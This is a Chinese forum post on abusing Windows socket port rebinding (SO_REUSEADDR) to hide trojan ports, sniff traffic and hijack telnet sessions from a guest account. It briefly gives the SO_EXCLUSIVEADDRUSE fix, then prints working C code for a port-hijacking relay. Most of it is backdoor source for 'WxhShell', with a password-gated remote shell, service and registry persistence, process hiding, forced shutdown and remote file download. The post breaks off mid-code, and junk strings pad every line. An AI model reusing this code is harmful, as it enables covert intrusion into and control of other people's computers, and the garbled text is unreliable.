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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o` QH8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l v:GiA"X  
*wx%jbJo  
  saddr.sin_family = AF_INET; %e25Z .Se$  
g*FHZM*N9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T[e+iv<8j  
v~AshmP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); URj)]wp/  
JDa_;bqL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]b;a~Y0  
_&gO>G,uy  
  这意味着什么?意味着可以进行如下的攻击: CTg79 ITYk  
]QY-L O(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5FB3w48  
kc$W"J@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E*T6kp^b  
|*ZM{$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p;, V  
v;z8g^L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   nXy"  
p;o"i_!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e)-$ #qW  
Hxac#(,7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y/m-EL  
o:5mgf7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )Mflt0fp  
4\V/A+<W  
  #include V$$9Rh  
  #include <ldArZ4C4  
  #include pox;NdX7  
  #include    $Sm iN'7;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   96!2 @c{  
  int main() K",Xe>  
  { ,B x0  
  WORD wVersionRequested; eln$,zK/b  
  DWORD ret; 1z,P"?Q  
  WSADATA wsaData; .VmRk9Z  
  BOOL val; %qrUP\rn  
  SOCKADDR_IN saddr; \q!TI x  
  SOCKADDR_IN scaddr; !q/Q2N(  
  int err; \G/ZA) t  
  SOCKET s; 2=7[r-*E  
  SOCKET sc; VJr~h "[  
  int caddsize; |a\,([aU  
  HANDLE mt; ]E.FBGT  
  DWORD tid;   -0CL#RzKR  
  wVersionRequested = MAKEWORD( 2, 2 ); %6V=G5+W  
  err = WSAStartup( wVersionRequested, &wsaData ); n0':6*oGW  
  if ( err != 0 ) { %vG;'_gM B  
  printf("error!WSAStartup failed!\n"); BT -Y9j  
  return -1; /bC@^Y&}  
  } =zp{ ^mC  
  saddr.sin_family = AF_INET; ^6CPC@B1  
   ?WS.RBe2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [>Zg6q|  
I.2>d_^<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _$}@hD*R~  
  saddr.sin_port = htons(23); & )-fC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *li5/=UC5*  
  { d(Yuz#Qcrh  
  printf("error!socket failed!\n"); %~Ymb&ugg  
  return -1; WUx2CK2N  
  } _Mh..#)`[  
  val = TRUE; [S.zWPX9{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @Js@\)P79  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ; ?,'jI*1  
  { %we! J%'Y]  
  printf("error!setsockopt failed!\n"); 0|rdI,z  
  return -1; dTU`@!f  
  } $yFR{_]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l2LO,j}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H Mfhe[A?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 * ^\u%Ir"  
1!ijRr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &e4EZ  
  { aSSw>*?Q  
  ret=GetLastError(); r?Pk}Q  
  printf("error!bind failed!\n"); z&|sks7  
  return -1; Y;sN UX  
  } "Z a}p|Ct  
  listen(s,2); &!8u4*K5j  
  while(1) oJ 0 #U  
  { I9cZZ`vs  
  caddsize = sizeof(scaddr); 8qq'q"g  
  //接受连接请求 04#r'UIF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~uO9>(?D  
  if(sc!=INVALID_SOCKET) ^0"[l {  
  { s|Zv>Qt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g6q67m<h  
  if(mt==NULL) [PU0!W;  
  { |+Ub3<b[]  
  printf("Thread Creat Failed!\n"); J|o )c~  
  break; t=r*/DxX=  
  } qH*Fv:qnM  
  } U\tujK1  
  CloseHandle(mt); <o_(,,P%  
  } Q-f?7*>  
  closesocket(s); C C`Y r  
  WSACleanup(); f!##R-A  
  return 0; HY'-P&H5(  
  }   k /lDE  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ha20g/ UN.  
  { H5p&dNO  
  SOCKET ss = (SOCKET)lpParam; A{QA0X!p  
  SOCKET sc; s4{>7`N2  
  unsigned char buf[4096]; dht*1i3v  
  SOCKADDR_IN saddr; *`wgqin  
  long num; [>U =P`  
  DWORD val; JG!@(lr  
  DWORD ret; 5KDN8pJN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S -KHot ?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VTvNn  
  saddr.sin_family = AF_INET; 5j$ a3nH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 924a1  
  saddr.sin_port = htons(23); E?[]N[0Kl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =-|,v*  
  { 8P3"$2q  
  printf("error!socket failed!\n"); whvvc2  
  return -1; ,fW%Qv  
  } HH94?&  
  val = 100; As-xO~+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @fG 'X  
  { %T'<vw0  
  ret = GetLastError(); Z. G<'  
  return -1; N.@@ebuE  
  } ,c9K]>8m`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :J6lJ8w ?  
  { |QB[f*y5  
  ret = GetLastError(); p? L*vcU  
  return -1; yRv4,{B}X>  
  } UCVdR<<Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) | )M>;q   
  { ];8S<KiS~  
  printf("error!socket connect failed!\n"); $;%k:&\f  
  closesocket(sc); k~=_]sLn  
  closesocket(ss); ]XhX aoqL  
  return -1; @UCr`>  
  } 8*Ke;X~N  
  while(1) bx8;`Q MX  
  { @m+2e C77  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >#~>!cv6D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^(on"3sG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s2*~n_B  
  num = recv(ss,buf,4096,0); 4(D/~OG-6  
  if(num>0) rK} =<R  
  send(sc,buf,num,0); zVyMmw\  
  else if(num==0) -"~XI~a@Wo  
  break; {7Q)2NC  
  num = recv(sc,buf,4096,0); b:t|9 FE%  
  if(num>0) j;SK{Oq  
  send(ss,buf,num,0); ,A9_xdv5  
  else if(num==0) ' >R?8Y  
  break; x,:DL)$1  
  } 5~GH*!h%;  
  closesocket(ss); ,zVS}!jRhy  
  closesocket(sc); ]m<z  
  return 0 ; ~ NZC0&  
  } !\Vc#dslt  
?8]g&V  
8$`$24Wx  
========================================================== 1'4?}0Dok  
u%sfHGrH  
下边附上一个代码,,WXhSHELL =k^ d5  
@|'$k{i  
========================================================== wU(!fw\  
\zLKSJ]  
#include "stdafx.h" 9oQ$w?=#$  
g$ h`.Fk,  
#include <stdio.h> ZgA+$}U)uW  
#include <string.h> %Hu?syo  
#include <windows.h> GUn$IPOM  
#include <winsock2.h> ]8f$&gw&A  
#include <winsvc.h> vR4omB{  
#include <urlmon.h> |'qvq/#^  
t$z 5m<8  
#pragma comment (lib, "Ws2_32.lib") V@o#" gZ  
#pragma comment (lib, "urlmon.lib") oLIgj,k{*  
`z$=J"%? y  
#define MAX_USER   100 // 最大客户端连接数 O-&^;]ieJ  
#define BUF_SOCK   200 // sock buffer %>- ?oor  
#define KEY_BUFF   255 // 输入 buffer `Z^\<{z  
<f#pS[A  
#define REBOOT     0   // 重启 yT|44 D2j  
#define SHUTDOWN   1   // 关机 r;_*.|AH  
9AJ"C7  
#define DEF_PORT   5000 // 监听端口 4*'ZabDD  
M>d^.n  
#define REG_LEN     16   // 注册表键长度 _B0C]u3D  
#define SVC_LEN     80   // NT服务名长度  [ J4n%  
L~Y^O`c  
// 从dll定义API |3mcL'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9[R+m3V/`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CbwQbJ/v7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^hcK&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |$g} &P8;  
UCj{ &  
// wxhshell配置信息 m- bu{  
struct WSCFG { hP}-yW6]  
  int ws_port;         // 监听端口 3_8W5J3I  
  char ws_passstr[REG_LEN]; // 口令 6)c-s|#  
  int ws_autoins;       // 安装标记, 1=yes 0=no YJ|U| [  
  char ws_regname[REG_LEN]; // 注册表键名 p8FXlTk  
  char ws_svcname[REG_LEN]; // 服务名 D$+g5u)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 86);0EBX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | {Q}:_/q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3YG%YhevO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "RTv[n!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .FN 6/N\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W ", yq|  
b=5ZfhIg[  
}; ~n$\[rQ  
a(kY,<}  
// default Wxhshell configuration ~C>clkZ  
struct WSCFG wscfg={DEF_PORT, my0iE:  
    "xuhuanlingzhe", V|~o`(]  
    1, WL?qulC}h1  
    "Wxhshell", 3m$ck$  
    "Wxhshell", k136n#KN1  
            "WxhShell Service", qeb}~FL"o  
    "Wrsky Windows CmdShell Service", C-\3,  
    "Please Input Your Password: ", xIwILY|W=  
  1, O`5hj q#  
  "http://www.wrsky.com/wxhshell.exe", \ AIFIy  
  "Wxhshell.exe"  /PTq.  
    }; vqZBDQ0  
t)= dKC  
// 消息定义模块 $+PyW( r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?L0|$#Iw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X`J86G)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 34Cnbtq^  
char *msg_ws_ext="\n\rExit."; 4;Vi@(G)  
char *msg_ws_end="\n\rQuit."; w ^?#xU1.i  
char *msg_ws_boot="\n\rReboot..."; j+rY  
char *msg_ws_poff="\n\rShutdown..."; &;~?\>?I  
char *msg_ws_down="\n\rSave to "; |QD#Dx1_  
=dsEt\ j  
char *msg_ws_err="\n\rErr!"; Kr[oP3  
char *msg_ws_ok="\n\rOK!"; +z:>Nl  
wWSo+40  
char ExeFile[MAX_PATH]; _8!x  
int nUser = 0; 3y,2RernK  
HANDLE handles[MAX_USER]; R1/c@HQw?  
int OsIsNt; i"x V=.  
d3Y;BxEz  
SERVICE_STATUS       serviceStatus; ^tjw }sE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3=^)=yOd  
(z8 ;J> 7  
// 函数声明 s 0_*^cZ  
int Install(void);  axDa&7%  
int Uninstall(void); dwQ1~  
int DownloadFile(char *sURL, SOCKET wsh); 2r ;h">  
int Boot(int flag); 1)jea wVmj  
void HideProc(void); =<7z :]  
int GetOsVer(void); _RbM'_y+E  
int Wxhshell(SOCKET wsl); !tcz_%  
void TalkWithClient(void *cs); 6yO5{._M  
int CmdShell(SOCKET sock); .ZV='i()X  
int StartFromService(void); fVf:voh  
int StartWxhshell(LPSTR lpCmdLine); D4C:%D  
/qMnIo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /]_|uN)Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aj=GekX{  
%P M#gnt@  
// 数据结构和表定义 KO%$  
SERVICE_TABLE_ENTRY DispatchTable[] = ?Z_T3/ f  
{ )Tp"l"(G  
{wscfg.ws_svcname, NTServiceMain},  @;$cX2  
{NULL, NULL} 3;VH'hh_  
}; &M@c50&%  
EI7n|X a1q  
// 自我安装 U\B9Ab  
int Install(void) C:}1r  
{ $5.52  
  char svExeFile[MAX_PATH]; "]kzt ux  
  HKEY key; Yj*T'<e  
  strcpy(svExeFile,ExeFile); pgiZA?r*<  
p JT)X8K"  
// 如果是win9x系统,修改注册表设为自启动 (,jsZ!sl  
if(!OsIsNt) { Bpm COA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '*65j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s~2o<#  
  RegCloseKey(key); i{TPf1OY`M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -j]c(Q MA]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yn$1nt4  
  RegCloseKey(key); HR"clD\{Di  
  return 0; 0kj5r*qA  
    } o$l8"Uv  
  } Knqv|jJVx1  
} k ,ldi  
else { M!5=3>Z  
036m\7+Qj  
// 如果是NT以上系统,安装为系统服务 ;tVd+[8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vA!IcDP"  
if (schSCManager!=0) !j`<iPI7B  
{ kP+,x H)1  
  SC_HANDLE schService = CreateService 3@\/5I xn  
  ( hU-FSdR  
  schSCManager, h&CZN !  
  wscfg.ws_svcname, u&uFXOc'  
  wscfg.ws_svcdisp, !;h&@LXG(  
  SERVICE_ALL_ACCESS, H`fJ< So?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uA[ :  
  SERVICE_AUTO_START, ^.iRU'{  
  SERVICE_ERROR_NORMAL, O50<h O]l  
  svExeFile, qpjZ-[UC  
  NULL, }DM W,+3  
  NULL, yP# Y:s  
  NULL, LEP TL#WT1  
  NULL, &8l?$7S"_/  
  NULL o*/;Zp==  
  ); X"d"a={]  
  if (schService!=0) /eH37H  
  { 1!G}*38;  
  CloseServiceHandle(schService); HQ9tvSc  
  CloseServiceHandle(schSCManager); ()Kaxcs?+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G!sfp}qW  
  strcat(svExeFile,wscfg.ws_svcname); 8)?&eE'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !KOa'Ic$V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IMbF]6%p(  
  RegCloseKey(key); D!Y@Og.  
  return 0; I50Ly sM  
    } OYt_i'Q  
  } y7:f^4  
  CloseServiceHandle(schSCManager); t !6sU]{  
} 6>#8 ^{[  
} "Hz%0zP&  
Y% \3N  
return 1; H!7?#tRU  
} B*O/>=_  
ysG1{NOl  
// 自我卸载 v5\ALWy+p  
int Uninstall(void) j0+D99{R  
{ KzV|::S^  
  HKEY key; >Tl/3{V  
u;H^4} OQ  
if(!OsIsNt) { cq?,v?m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8g)$%Fy+N  
  RegDeleteValue(key,wscfg.ws_regname); *&IvEu  
  RegCloseKey(key); BNjMq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^.)0O3oC  
  RegDeleteValue(key,wscfg.ws_regname); k"gm;,`  
  RegCloseKey(key); "#gKI/[qxq  
  return 0; 4Ol1T(J#  
  } $rk=#;6]v;  
} c-&Q_lB  
} n_]B5U  
else { w<THPFFF"  
$PRd'YdL/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~a2|W|?  
if (schSCManager!=0) n(#yGzq  
{ `u_MdB}<x;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;:oJFI#;  
  if (schService!=0) 9eHqOmz  
  { ,.2qh|Ol  
  if(DeleteService(schService)!=0) { /^jl||'H,:  
  CloseServiceHandle(schService); A#?Cts ,M  
  CloseServiceHandle(schSCManager); QA^FP8!j  
  return 0; 4zhh **]B  
  } =2( 52#pT  
  CloseServiceHandle(schService); w{_g"X  
  } NQuqM`LSQ  
  CloseServiceHandle(schSCManager); T zS?WYF  
} ](n)bF+ym  
} -{Ar5) ?='  
R#y"SxD()  
return 1; 1'p=yHw  
} <6;@@  
XefmC6X  
// 从指定url下载文件 Crj7n/mp]s  
int DownloadFile(char *sURL, SOCKET wsh) ~;]zEq-hG  
{ N8kNi4$mp=  
  HRESULT hr; ;K>'Gl  
char seps[]= "/"; y<nPZ<h  
char *token; -e0[$v  
char *file; *CQZ6&^  
char myURL[MAX_PATH]; #1*7eANfr  
char myFILE[MAX_PATH]; cl4 _M{~  
EBL-+%J8  
strcpy(myURL,sURL); @x!+_z  
  token=strtok(myURL,seps); k$f2i,7'  
  while(token!=NULL) +hispU3ia  
  { 2v@B7r4}  
    file=token; 'xnI N u  
  token=strtok(NULL,seps);  R:Ih#2R  
  } 6yAZvX  
XHJ` C\xR  
GetCurrentDirectory(MAX_PATH,myFILE); W)T'?b'.  
strcat(myFILE, "\\"); Bv jsl  
strcat(myFILE, file); 88S:E7 $  
  send(wsh,myFILE,strlen(myFILE),0); /|H9Gm  
send(wsh,"...",3,0); oqbz!dM(Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *2vp2xMA@  
  if(hr==S_OK) Uz rf,I[  
return 0; id8QagJ  
else Os9 EMU$  
return 1; Q}<QE:-&E  
J}8p}8eF,  
} H-u SdT  
GRofOJ  
// 系统电源模块 MXEI/mDYK  
int Boot(int flag)  qbS6#7D  
{ $$o(  
  HANDLE hToken; yoF*yUls^E  
  TOKEN_PRIVILEGES tkp; .b<W*4{j0H  
8 qw{e`c  
  if(OsIsNt) { P,-5af*;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &)||~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 wEv`5  
    tkp.PrivilegeCount = 1; 6~W@$SP,F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G'w!Aw s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,1Z([R*  
if(flag==REBOOT) { -+Yark  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8{i}^.p  
  return 0; 7D:rq 8$\  
} X9FO"(J  
else { 7(tsmP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VX8CEO  
  return 0; xJ. kd Tr  
} &Q}%b7  
  } k[a<KbS  
  else { Q#qfuwz  
if(flag==REBOOT) { zP2X}VLMo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3^ y<Db  
  return 0; '2<r{  
} P\6:euI  
else { V!^0E.?a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &<uLr *+*  
  return 0; `#`jU"T|  
} 6XU p$Pd(  
} s>L.V2!$0  
e:'56?|  
return 1; J+ S]Qoz  
} u)o-H!a  
=G^'wwpv(  
// win9x进程隐藏模块 WR"1d\m:  
void HideProc(void) qA`@~\ qh"  
{ `t)9u^[<(  
m26YAcip}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y.Z:H!P);$  
  if ( hKernel != NULL ) \( {'Xo >(  
  { Gvh"3|u ?z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T9Juq6|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rky]F+J  
    FreeLibrary(hKernel); d *gv.mE  
  } &b5(Su  
3Zd,"/RH  
return; gz[3xH~  
} I%a-5f$0  
BPt? 3tC  
// 获取操作系统版本 oU\7%gQ  
int GetOsVer(void) >Q=^X3to  
{ $'Mf$h  
  OSVERSIONINFO winfo; Q35\wQ#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =%IyR  
  GetVersionEx(&winfo); 1a{r1([)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J({D~  
  return 1; /R=MX>JA;  
  else [t fB*m5  
  return 0; -NN=(p!<  
} k"&o)*d  
o68i0aFW  
// 客户端句柄模块 DWKQ>X6  
int Wxhshell(SOCKET wsl) QE[<Y3M  
{ !KK`+ 9/  
  SOCKET wsh; }5oI` 9VT  
  struct sockaddr_in client; ,/b!Xm:  
  DWORD myID; j;coPehB  
jj]\]6@+P  
  while(nUser<MAX_USER) UcQ]n0J=Z  
{ /v5A)A$7  
  int nSize=sizeof(client); Bgc]t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7<WS@-2I#  
  if(wsh==INVALID_SOCKET) return 1; g_syGQ\  
0!dNW,NfJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j%nN*ms  
if(handles[nUser]==0) ANu>*  
  closesocket(wsh); sS}:Od  
else t7F0[E'=5\  
  nUser++; 8N'hG,  
  } +8//mrL_/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^{MqJ\S7H  
lF}@@e)N  
  return 0; z f SE7i0  
} ^w1+b;)  
"PI;/(kR  
// 关闭 socket mv8H:T  
void CloseIt(SOCKET wsh) VR>!Ch  
{ K& ^qn&  
closesocket(wsh); St%x\[D  
nUser--; KUZi3\p9W>  
ExitThread(0); <7J3tn B  
} J2VPOn  
#2_FM!e  
// 客户端请求句柄 %@a;q?/?Nd  
void TalkWithClient(void *cs) 9S]pC?N]E  
{ F-|DZ?)k5  
ESV./~K  
  SOCKET wsh=(SOCKET)cs; *>=tmW;%  
  char pwd[SVC_LEN]; x&;AY  
  char cmd[KEY_BUFF]; ,g7O   
char chr[1]; Sr6'$8#>Y  
int i,j; +-'F]?DN'  
cwzkA,e@  
  while (nUser < MAX_USER) { > "F-1{  
#h=V@Dh  
if(wscfg.ws_passstr) { I(~([F2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j_90iP^5:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PdO"e  
  //ZeroMemory(pwd,KEY_BUFF); [IOI&`?D  
      i=0; y+iRZ%V^  
  while(i<SVC_LEN) { AQjv? 4)T  
i_*yS+Z;  
  // 设置超时 q&@s/k  
  fd_set FdRead; xFp$JN  
  struct timeval TimeOut; $||WI}k3V  
  FD_ZERO(&FdRead); A` _dj}UF  
  FD_SET(wsh,&FdRead); Jp"29 )w  
  TimeOut.tv_sec=8; 2Ty]s~  
  TimeOut.tv_usec=0; SV t~pE+Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MS""-zn<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tdRvg7v,N%  
K]$PRg1| 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x @43ZH_  
  pwd=chr[0]; K9xvog  
  if(chr[0]==0xd || chr[0]==0xa) { cL#-vW<s3  
  pwd=0; 2EM6k|l5  
  break;  ri4z^1\  
  } H3$py|}lL  
  i++; O MQ?*^eA  
    } u=nd7:bv  
`G!HGzVx;j  
  // 如果是非法用户,关闭 socket *bp09XG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }d}sC\>U  
} Mu/(Xp62  
!%65YTxY-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ShC$ue?Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6ZE`'pk<  
%R?7u'=~  
while(1) { $`GlXiV  
LGuZp?"  
  ZeroMemory(cmd,KEY_BUFF); grE(8M  
Q SF0?Puf  
      // 自动支持客户端 telnet标准   u_NLgM7*  
  j=0; Zfk]Z9YO  
  while(j<KEY_BUFF) { X7-*`NI^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \;MP|:{pU  
  cmd[j]=chr[0]; 1A'eH:$  
  if(chr[0]==0xa || chr[0]==0xd) { O0jOI3/P%  
  cmd[j]=0; s.7=!JQ#]p  
  break; N4,oO H~  
  } mOj; 0 R  
  j++; 0fX` >-X  
    } s i2@k  
yfV]f LZ  
  // 下载文件 C~4SPCU  
  if(strstr(cmd,"http://")) { z4_B/Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )rP,+B?W  
  if(DownloadFile(cmd,wsh)) c6 &k?Puy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9|J\;fzT  
  else \{ | GK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fx+_;y  
  } VK*_p EV,}  
  else { v)*MgfS  
4>oM5Yf8  
    switch(cmd[0]) { ?=4oxPe  
  w( SY  
  // 帮助 s9"X.-!  
  case '?': { )nf%S+KV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Q)mBvvN  
    break; PEEaNOk 1b  
  } ]cP%d-x}  
  // 安装 Nb:j]U  
  case 'i': { >}F$6KM  
    if(Install()) OEl;R7aOB&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G{6@]72  
    else : 8>zo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/-IjgM"-  
    break; >;Oa|G  
    } lHM} E$5  
  // 卸载 FJH>P\+  
  case 'r': { ~Yc~_)hD  
    if(Uninstall()) 1 Q FsT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY6Ll6OK  
    else jt}oq%Bf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C ibfuR  
    break; } 'xGip@W  
    } X\!q8KEpR&  
  // 显示 wxhshell 所在路径 MVzj7~+  
  case 'p': { i_m& qy<v  
    char svExeFile[MAX_PATH]; zUJXA:L9  
    strcpy(svExeFile,"\n\r"); p*jU)@a0  
      strcat(svExeFile,ExeFile); $]#8D>E&  
        send(wsh,svExeFile,strlen(svExeFile),0); :tO?+1  
    break; !]s=9(O  
    } <<S4l~"o  
  // 重启 cd,'37pZ  
  case 'b': { `f}ZAX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XsJ`x  
    if(Boot(REBOOT)) >CKa?N;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (9( xJ)  
    else { {(-923|,  
    closesocket(wsh); A4l"^dZc  
    ExitThread(0); 2u_=i$xW  
    } q*R~gEi#yk  
    break; M6MxY\uM  
    } wH@< 0lw`<  
  // 关机 bny@AP(CY+  
  case 'd': { hU(  
